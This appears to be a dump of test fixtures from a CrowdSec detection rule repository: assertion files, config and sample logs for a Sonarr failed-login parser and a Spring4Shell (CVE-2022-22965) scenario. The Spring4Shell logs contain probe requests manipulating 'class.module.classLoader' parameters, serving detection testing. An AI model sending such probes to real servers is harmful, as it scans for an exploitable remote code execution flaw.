results["s01-parse"]["schiz0phr3ne/sonarr-logs"][0].Evt.Parsed["month"] == "12" results["s01-parse"]["schiz0phr3ne/sonarr-logs"][0].Evt.Parsed["message"] == "2022-12-17 22:04:36.2|Warn|Auth|Auth-Failure ip 1.2.3.4 username 'testing'" results["s01-parse"]["schiz0phr3ne/sonarr-logs"][0].Evt.Parsed["timestamp"] == "2022-12-17 22:04:36.2" results["s01-parse"]["schiz0phr3ne/sonarr-logs"][0].Evt.Parsed["username"] == "testing" results["s01-parse"]["schiz0phr3ne/sonarr-logs"][0].Evt.Parsed["year"] == "2022" results["s01-parse"]["schiz0phr3ne/sonarr-logs"][0].Evt.Parsed["day"] == "17" results["s01-parse"]["schiz0phr3ne/sonarr-logs"][0].Evt.Parsed["log_level"] == "Warn" results["s01-parse"]["schiz0phr3ne/sonarr-logs"][0].Evt.Meta["source_ip"] == "1.2.3.4" results["s01-parse"]["schiz0phr3ne/sonarr-logs"][0].Evt.Meta["username"] == "testing" results["s01-parse"]["schiz0phr3ne/sonarr-logs"][0].Evt.Meta["datasource_path"] == "sonarr-nonsyslog-logs.log" results["s01-parse"]["schiz0phr3ne/sonarr-logs"][0].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["schiz0phr3ne/sonarr-logs"][0].Evt.Meta["log_type"] == "sonarr_failed_authentication" results["s01-parse"]["schiz0phr3ne/sonarr-logs"][0].Evt.Meta["service"] == "sonarr" results["s01-parse"]["schiz0phr3ne/sonarr-logs"][1].Success == true results["s01-parse"]["schiz0phr3ne/sonarr-logs"][1].Evt.Parsed["year"] == "2022" results["s01-parse"]["schiz0phr3ne/sonarr-logs"][1].Evt.Parsed["log_level"] == "Warn" results["s01-parse"]["schiz0phr3ne/sonarr-logs"][1].Evt.Parsed["program"] == "Sonarr" results["s01-parse"]["schiz0phr3ne/sonarr-logs"][1].Evt.Parsed["timestamp"] == "2022-12-17 22:04:41.7" results["s01-parse"]["schiz0phr3ne/sonarr-logs"][1].Evt.Parsed["month"] == "12" results["s01-parse"]["schiz0phr3ne/sonarr-logs"][1].Evt.Parsed["source_ip"] == "1.2.3.4" results["s01-parse"]["schiz0phr3ne/sonarr-logs"][1].Evt.Parsed["time"] == "22:04:41.7" results["s01-parse"]["schiz0phr3ne/sonarr-logs"][1].Evt.Parsed["username"] == "testing2" results["s01-parse"]["schiz0phr3ne/sonarr-logs"][1].Evt.Parsed["date"] == "2022-12-17" results["s01-parse"]["schiz0phr3ne/sonarr-logs"][1].Evt.Parsed["day"] == "17" results["s01-parse"]["schiz0phr3ne/sonarr-logs"][1].Evt.Parsed["message"] == "2022-12-17 22:04:41.7|Warn|Auth|Auth-Failure ip 1.2.3.4 username 'testing2'" results["s01-parse"]["schiz0phr3ne/sonarr-logs"][1].Evt.Meta["source_ip"] == "1.2.3.4" results["s01-parse"]["schiz0phr3ne/sonarr-logs"][1].Evt.Meta["username"] == "testing2" results["s01-parse"]["schiz0phr3ne/sonarr-logs"][1].Evt.Meta["datasource_path"] == "sonarr-nonsyslog-logs.log" results["s01-parse"]["schiz0phr3ne/sonarr-logs"][1].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["schiz0phr3ne/sonarr-logs"][1].Evt.Meta["log_type"] == "sonarr_failed_authentication" results["s01-parse"]["schiz0phr3ne/sonarr-logs"][1].Evt.Meta["service"] == "sonarr" len(results["s02-enrich"]["crowdsecurity/dateparse-enrich"]) == 2 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["program"] == "Sonarr" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["date"] == "2022-12-17" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["day"] == "17" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["month"] == "12" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["source_ip"] == "1.2.3.4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["time"] == "22:04:36.2" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["timestamp"] == "2022-12-17 22:04:36.2" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["username"] == "testing" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["year"] == "2022" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["log_level"] == "Warn" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["message"] == "2022-12-17 22:04:36.2|Warn|Auth|Auth-Failure ip 1.2.3.4 username 'testing'" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["datasource_path"] == "sonarr-nonsyslog-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["log_type"] == "sonarr_failed_authentication" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["service"] == "sonarr" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["source_ip"] == "1.2.3.4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["timestamp"] == "2022-12-17T22:04:36.2Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["username"] == "testing" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Enriched["MarshaledTime"] == "2022-12-17T22:04:36.2Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["year"] == "2022" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["date"] == "2022-12-17" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["day"] == "17" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["program"] == "Sonarr" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["timestamp"] == "2022-12-17 22:04:41.7" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["time"] == "22:04:41.7" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["username"] == "testing2" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["log_level"] == "Warn" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["message"] == "2022-12-17 22:04:41.7|Warn|Auth|Auth-Failure ip 1.2.3.4 username 'testing2'" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["month"] == "12" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["source_ip"] == "1.2.3.4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["service"] == "sonarr" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["source_ip"] == "1.2.3.4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["timestamp"] == "2022-12-17T22:04:41.7Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["username"] == "testing2" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["datasource_path"] == "sonarr-nonsyslog-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["log_type"] == "sonarr_failed_authentication" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Enriched["MarshaledTime"] == "2022-12-17T22:04:41.7Z" len(results["success"][""]) == 0 hub1/.tests/sonarr-nonsyslog-logs/scenario.assert000066400000000000000000000000001437532772500224670ustar00rootroot00000000000000hub1/.tests/sonarr-nonsyslog-logs/sonarr-nonsyslog-logs.log000066400000000000000000000002261437532772500244550ustar00rootroot000000000000002022-12-17 22:04:36.2|Warn|Auth|Auth-Failure ip 1.2.3.4 username 'testing' 2022-12-17 22:04:41.7|Warn|Auth|Auth-Failure ip 1.2.3.4 username 'testing2'hub1/.tests/spring4shell_cve-2022-22965/000077500000000000000000000000001437532772500174775ustar00rootroot00000000000000hub1/.tests/spring4shell_cve-2022-22965/config.yaml000066400000000000000000000004621437532772500216320ustar00rootroot00000000000000parsers: - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich - crowdsecurity/nginx-logs - crowdsecurity/http-logs scenarios: - ./scenarios/crowdsecurity/spring4shell_cve-2022-22965.yaml postoverflows: - "" log_file: spring4shell_cve-2022-22965.log log_type: nginx labels: {} ignore_parsers: false hub1/.tests/spring4shell_cve-2022-22965/parser.assert000066400000000000000000000435171437532772500222300ustar00rootroot00000000000000len(results) == 4 len(results["s00-raw"]["crowdsecurity/non-syslog"]) == 2 results["s00-raw"]["crowdsecurity/non-syslog"][0].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Parsed["message"] == "mydomain.com 1.2.3.4 - - [07/Apr/2022:14:45:44 +0200] \"GET /path/foo/?class.module.classLoader.URLs%5B0%5D=0 HTTP/1.1\" 404 162 \"-\" \"curl/7.58.0\" \"-\"" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Parsed["program"] == "nginx" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Meta["datasource_path"] == "spring4shell_cve-2022-22965.log" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][1].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Parsed["message"] == "mydomain.com 1.2.3.5 - - [07/Apr/2022:14:46:08 +0200] \"GET /path/foo/?class.module.classLoader.DefaultAssertionStatus=nosense HTTP/1.1\" 404 162 \"-\" \"curl/7.58.0\" \"-\"" results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Parsed["program"] == "nginx" results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Meta["datasource_path"] == "spring4shell_cve-2022-22965.log" results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Meta["datasource_type"] == "file" len(results["s00-raw"]["crowdsecurity/syslog-logs"]) == 2 results["s00-raw"]["crowdsecurity/syslog-logs"][0].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][1].Success == false len(results["s01-parse"]["crowdsecurity/nginx-logs"]) == 2 results["s01-parse"]["crowdsecurity/nginx-logs"][0].Success == true results["s01-parse"]["crowdsecurity/nginx-logs"][0].Evt.Parsed["status"] == "404" results["s01-parse"]["crowdsecurity/nginx-logs"][0].Evt.Parsed["target_fqdn"] == "mydomain.com" results["s01-parse"]["crowdsecurity/nginx-logs"][0].Evt.Parsed["body_bytes_sent"] == "162" results["s01-parse"]["crowdsecurity/nginx-logs"][0].Evt.Parsed["http_referer"] == "-" results["s01-parse"]["crowdsecurity/nginx-logs"][0].Evt.Parsed["http_user_agent"] == "curl/7.58.0" results["s01-parse"]["crowdsecurity/nginx-logs"][0].Evt.Parsed["http_version"] == "1.1" results["s01-parse"]["crowdsecurity/nginx-logs"][0].Evt.Parsed["remote_addr"] == "1.2.3.4" results["s01-parse"]["crowdsecurity/nginx-logs"][0].Evt.Parsed["time_local"] == "07/Apr/2022:14:45:44 +0200" results["s01-parse"]["crowdsecurity/nginx-logs"][0].Evt.Parsed["verb"] == "GET" results["s01-parse"]["crowdsecurity/nginx-logs"][0].Evt.Parsed["message"] == "mydomain.com 1.2.3.4 - - [07/Apr/2022:14:45:44 +0200] \"GET /path/foo/?class.module.classLoader.URLs%5B0%5D=0 HTTP/1.1\" 404 162 \"-\" \"curl/7.58.0\" \"-\"" results["s01-parse"]["crowdsecurity/nginx-logs"][0].Evt.Parsed["program"] == "nginx" results["s01-parse"]["crowdsecurity/nginx-logs"][0].Evt.Parsed["remote_user"] == "-" results["s01-parse"]["crowdsecurity/nginx-logs"][0].Evt.Parsed["request"] == "/path/foo/?class.module.classLoader.URLs%5B0%5D=0" results["s01-parse"]["crowdsecurity/nginx-logs"][0].Evt.Meta["http_path"] == "/path/foo/?class.module.classLoader.URLs%5B0%5D=0" results["s01-parse"]["crowdsecurity/nginx-logs"][0].Evt.Meta["http_user_agent"] == "curl/7.58.0" results["s01-parse"]["crowdsecurity/nginx-logs"][0].Evt.Meta["http_verb"] == "GET" results["s01-parse"]["crowdsecurity/nginx-logs"][0].Evt.Meta["source_ip"] == "1.2.3.4" results["s01-parse"]["crowdsecurity/nginx-logs"][0].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/nginx-logs"][0].Evt.Meta["http_status"] == "404" results["s01-parse"]["crowdsecurity/nginx-logs"][0].Evt.Meta["log_type"] == "http_access-log" results["s01-parse"]["crowdsecurity/nginx-logs"][0].Evt.Meta["service"] == "http" results["s01-parse"]["crowdsecurity/nginx-logs"][0].Evt.Meta["target_fqdn"] == "mydomain.com" results["s01-parse"]["crowdsecurity/nginx-logs"][0].Evt.Meta["datasource_path"] == "spring4shell_cve-2022-22965.log" results["s01-parse"]["crowdsecurity/nginx-logs"][1].Success == true results["s01-parse"]["crowdsecurity/nginx-logs"][1].Evt.Parsed["remote_addr"] == "1.2.3.5" results["s01-parse"]["crowdsecurity/nginx-logs"][1].Evt.Parsed["remote_user"] == "-" results["s01-parse"]["crowdsecurity/nginx-logs"][1].Evt.Parsed["http_referer"] == "-" results["s01-parse"]["crowdsecurity/nginx-logs"][1].Evt.Parsed["program"] == "nginx" results["s01-parse"]["crowdsecurity/nginx-logs"][1].Evt.Parsed["body_bytes_sent"] == "162" results["s01-parse"]["crowdsecurity/nginx-logs"][1].Evt.Parsed["http_user_agent"] == "curl/7.58.0" results["s01-parse"]["crowdsecurity/nginx-logs"][1].Evt.Parsed["time_local"] == "07/Apr/2022:14:46:08 +0200" results["s01-parse"]["crowdsecurity/nginx-logs"][1].Evt.Parsed["verb"] == "GET" results["s01-parse"]["crowdsecurity/nginx-logs"][1].Evt.Parsed["request"] == "/path/foo/?class.module.classLoader.DefaultAssertionStatus=nosense" results["s01-parse"]["crowdsecurity/nginx-logs"][1].Evt.Parsed["target_fqdn"] == "mydomain.com" results["s01-parse"]["crowdsecurity/nginx-logs"][1].Evt.Parsed["status"] == "404" results["s01-parse"]["crowdsecurity/nginx-logs"][1].Evt.Parsed["http_version"] == "1.1" results["s01-parse"]["crowdsecurity/nginx-logs"][1].Evt.Parsed["message"] == "mydomain.com 1.2.3.5 - - [07/Apr/2022:14:46:08 +0200] \"GET /path/foo/?class.module.classLoader.DefaultAssertionStatus=nosense HTTP/1.1\" 404 162 \"-\" \"curl/7.58.0\" \"-\"" results["s01-parse"]["crowdsecurity/nginx-logs"][1].Evt.Meta["source_ip"] == "1.2.3.5" results["s01-parse"]["crowdsecurity/nginx-logs"][1].Evt.Meta["target_fqdn"] == "mydomain.com" results["s01-parse"]["crowdsecurity/nginx-logs"][1].Evt.Meta["http_path"] == "/path/foo/?class.module.classLoader.DefaultAssertionStatus=nosense" results["s01-parse"]["crowdsecurity/nginx-logs"][1].Evt.Meta["log_type"] == "http_access-log" results["s01-parse"]["crowdsecurity/nginx-logs"][1].Evt.Meta["service"] == "http" results["s01-parse"]["crowdsecurity/nginx-logs"][1].Evt.Meta["http_user_agent"] == "curl/7.58.0" results["s01-parse"]["crowdsecurity/nginx-logs"][1].Evt.Meta["http_verb"] == "GET" results["s01-parse"]["crowdsecurity/nginx-logs"][1].Evt.Meta["datasource_path"] == "spring4shell_cve-2022-22965.log" results["s01-parse"]["crowdsecurity/nginx-logs"][1].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/nginx-logs"][1].Evt.Meta["http_status"] == "404" len(results["s02-enrich"]["crowdsecurity/dateparse-enrich"]) == 2 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["status"] == "404" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["target_fqdn"] == "mydomain.com" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["time_local"] == "07/Apr/2022:14:45:44 +0200" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["body_bytes_sent"] == "162" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["remote_addr"] == "1.2.3.4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["http_version"] == "1.1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["message"] == "mydomain.com 1.2.3.4 - - [07/Apr/2022:14:45:44 +0200] \"GET /path/foo/?class.module.classLoader.URLs%5B0%5D=0 HTTP/1.1\" 404 162 \"-\" \"curl/7.58.0\" \"-\"" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["request"] == "/path/foo/?class.module.classLoader.URLs%5B0%5D=0" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["http_referer"] == "-" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["program"] == "nginx" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["verb"] == "GET" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["http_user_agent"] == "curl/7.58.0" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["remote_user"] == "-" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["datasource_path"] == "spring4shell_cve-2022-22965.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["http_status"] == "404" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["http_verb"] == "GET" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["service"] == "http" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["source_ip"] == "1.2.3.4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["target_fqdn"] == "mydomain.com" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["timestamp"] == "2022-04-07T14:45:44+02:00" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["http_path"] == "/path/foo/?class.module.classLoader.URLs%5B0%5D=0" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["http_user_agent"] == "curl/7.58.0" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["log_type"] == "http_access-log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Enriched["MarshaledTime"] == "2022-04-07T14:45:44+02:00" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["http_version"] == "1.1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["remote_addr"] == "1.2.3.5" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["remote_user"] == "-" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["status"] == "404" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["body_bytes_sent"] == "162" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["http_user_agent"] == "curl/7.58.0" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["target_fqdn"] == "mydomain.com" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["time_local"] == "07/Apr/2022:14:46:08 +0200" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["message"] == "mydomain.com 1.2.3.5 - - [07/Apr/2022:14:46:08 +0200] \"GET /path/foo/?class.module.classLoader.DefaultAssertionStatus=nosense HTTP/1.1\" 404 162 \"-\" \"curl/7.58.0\" \"-\"" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["program"] == "nginx" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["verb"] == "GET" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["http_referer"] == "-" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["request"] == "/path/foo/?class.module.classLoader.DefaultAssertionStatus=nosense" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["source_ip"] == "1.2.3.5" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["timestamp"] == "2022-04-07T14:46:08+02:00" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["http_path"] == "/path/foo/?class.module.classLoader.DefaultAssertionStatus=nosense" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["http_verb"] == "GET" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["http_status"] == "404" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["http_user_agent"] == "curl/7.58.0" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["log_type"] == "http_access-log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["service"] == "http" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["target_fqdn"] == "mydomain.com" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["datasource_path"] == "spring4shell_cve-2022-22965.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Enriched["MarshaledTime"] == "2022-04-07T14:46:08+02:00" len(results["s02-enrich"]["crowdsecurity/http-logs"]) == 2 results["s02-enrich"]["crowdsecurity/http-logs"][0].Success == true results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Parsed["http_referer"] == "-" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Parsed["http_version"] == "1.1" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Parsed["remote_user"] == "-" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Parsed["verb"] == "GET" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Parsed["impact_completion"] == "false" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Parsed["remote_addr"] == "1.2.3.4" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Parsed["body_bytes_sent"] == "162" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Parsed["http_user_agent"] == "curl/7.58.0" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Parsed["message"] == "mydomain.com 1.2.3.4 - - [07/Apr/2022:14:45:44 +0200] \"GET /path/foo/?class.module.classLoader.URLs%5B0%5D=0 HTTP/1.1\" 404 162 \"-\" \"curl/7.58.0\" \"-\"" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Parsed["request"] == "/path/foo/" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Parsed["static_ressource"] == "false" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Parsed["time_local"] == "07/Apr/2022:14:45:44 +0200" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Parsed["status"] == "404" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Parsed["target_fqdn"] == "mydomain.com" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Parsed["file_dir"] == "/path/foo/" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Parsed["http_args"] == "class.module.classLoader.URLs%5B0%5D=0" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Parsed["program"] == "nginx" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Meta["service"] == "http" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Meta["source_ip"] == "1.2.3.4" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Meta["datasource_path"] == "spring4shell_cve-2022-22965.log" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Meta["http_args_len"] == "38" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Meta["http_status"] == "404" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Meta["http_verb"] == "GET" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Meta["log_type"] == "http_access-log" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Meta["target_fqdn"] == "mydomain.com" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Meta["http_path"] == "/path/foo/?class.module.classLoader.URLs%5B0%5D=0" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Meta["http_user_agent"] == "curl/7.58.0" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Meta["timestamp"] == "2022-04-07T14:45:44+02:00" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Enriched["MarshaledTime"] == "2022-04-07T14:45:44+02:00" results["s02-enrich"]["crowdsecurity/http-logs"][1].Success == true results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Parsed["message"] == "mydomain.com 1.2.3.5 - - [07/Apr/2022:14:46:08 +0200] \"GET /path/foo/?class.module.classLoader.DefaultAssertionStatus=nosense HTTP/1.1\" 404 162 \"-\" \"curl/7.58.0\" \"-\"" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Parsed["program"] == "nginx" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Parsed["remote_addr"] == "1.2.3.5" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Parsed["static_ressource"] == "false" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Parsed["body_bytes_sent"] == "162" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Parsed["request"] == "/path/foo/" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Parsed["time_local"] == "07/Apr/2022:14:46:08 +0200" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Parsed["file_dir"] == "/path/foo/" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Parsed["http_user_agent"] == "curl/7.58.0" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Parsed["impact_completion"] == "false" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Parsed["remote_user"] == "-" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Parsed["target_fqdn"] == "mydomain.com" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Parsed["verb"] == "GET" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Parsed["http_referer"] == "-" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Parsed["http_args"] == "class.module.classLoader.DefaultAssertionStatus=nosense" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Parsed["http_version"] == "1.1" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Parsed["status"] == "404" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Meta["http_status"] == "404" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Meta["http_user_agent"] == "curl/7.58.0" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Meta["service"] == "http" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Meta["http_path"] == "/path/foo/?class.module.classLoader.DefaultAssertionStatus=nosense" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Meta["http_args_len"] == "55" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Meta["http_verb"] == "GET" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Meta["log_type"] == "http_access-log" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Meta["source_ip"] == "1.2.3.5" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Meta["target_fqdn"] == "mydomain.com" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Meta["timestamp"] == "2022-04-07T14:46:08+02:00" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Meta["datasource_path"] == "spring4shell_cve-2022-22965.log" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Enriched["MarshaledTime"] == "2022-04-07T14:46:08+02:00" len(results["success"][""]) == 0hub1/.tests/spring4shell_cve-2022-22965/scenario.assert000066400000000000000000000054211437532772500225270ustar00rootroot00000000000000len(results) == 2 "1.2.3.5" in results[0].Overflow.GetSources() results[0].Overflow.Sources["1.2.3.5"].IP == "1.2.3.5" results[0].Overflow.Sources["1.2.3.5"].Range == "" results[0].Overflow.Sources["1.2.3.5"].GetScope() == "Ip" results[0].Overflow.Sources["1.2.3.5"].GetValue() == "1.2.3.5" results[0].Overflow.Alert.Events[0].GetMeta("datasource_path") == "spring4shell_cve-2022-22965.log" results[0].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[0].GetMeta("http_args_len") == "55" results[0].Overflow.Alert.Events[0].GetMeta("http_path") == "/path/foo/?class.module.classLoader.DefaultAssertionStatus=nosense" results[0].Overflow.Alert.Events[0].GetMeta("http_status") == "404" results[0].Overflow.Alert.Events[0].GetMeta("http_user_agent") == "curl/7.58.0" 